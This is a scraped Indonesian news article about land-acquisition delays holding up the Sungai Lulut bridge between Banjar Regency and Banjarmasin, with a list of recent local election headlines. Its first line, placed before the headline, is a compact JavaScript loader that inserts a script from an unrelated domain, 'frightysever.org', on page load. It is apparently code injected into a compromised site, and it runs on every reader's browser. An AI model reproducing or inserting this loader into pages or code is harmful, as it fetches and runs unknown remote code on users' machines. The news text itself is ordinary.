(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terkendala Pembebasan Lahan, Rencana Jembatan Sungai Lulut Mangkrak?


MARTAPURA, Rencana pembangunan jembatan penghubung di perbatasan Kabupaten Banjar dan Kota Banjarmasin, tepatnya jembatan Sungai Lulut masih mengalami kendala pembebasan lahan di sekitar area pembangunan.

Menurut Kepala Dinas PUPR Banjar M Hilman, karena aset tersebut merupakan kewenangan Pemerintah Provinsi Kalimantan Selatan, rencana pelimpahan kepada Dinas PUPR Banjar tidak akan menolak proyek tersebut. Dipelajari dulu aturannya, dengan catatan harus ada surat resmi permohonan pelimpahan permohonan kewenangan dari Pemerintah Provinsi Kalsel.

“Aset jalan di bawah jembatan tersebut kalau dilihat memang wilayah Kabupaten Banjar, namun menjadi kewenangan Pemprov Kalsel, hal itu sudah kami kordinasikan dengan Sekda Banjar. Kami akan pelajari dulu, dan tunggu surat permohonan dari provinsi,” ujarnya.

Perlu diketahui sebelumnya, disampaikan Kepala Dinas PUPR Provinsi Kalsel Roy Rizali Anwar, hingga kini masih belum dilakukan pembebasan lahan dari kedua pemerintah antara Kabupaten Banjar dengan Kota Banjarmasin.

“Apabila pembebasan lahan belum tuntas, maka jembatan tersebut tidak bisa dibangun. Diharapkan pada anggaran APBD perubahan tahun 2018 ini, baik pihak Pemerintah Kota Banjarmasin maupun Pemerintah Kabupaten Banjar mengalokasikan anggaran untuk konsultan appraisal untuk menilai dan mendata asumsi berapa yang dibutuhkan untuk pembebasan lahan tersebut,” ujarnya.

Roy Rizali Anwar mengakui untuk pembebasan lahan di area pembangunan tersebut tidak mudah dan pastinya membutuhkan proses panjang. Walau demikian pihaknya tetap berharap pembebasan lahan tersebut dapat diselesaikan sebelum bulan Juni 2019.

Menurut Roy pihaknya akan mengalokasikan anggaran untuk pembangunan di 3 buah jembatan yakni jembatan Sungai Lulut, jembatan Sungai Gardu 1 dan jembatan Sungai Gardu 2 , tapi pelaksanaanya menunggu kepastian pembebasan lahan.

“Jika dalam prosesnnya hingga 2019 lahan tersebut tidak dibebaskan oleh kabupaten/kota, maka proses pembangunan jalan yang menghubungakan jalan provinsi tersebut akan ditunda, hingga pembebasan lahan tuntas sepenuhnya,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

8 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

9 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

9 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

14 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

15 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

15 jam ago

This website uses cookies.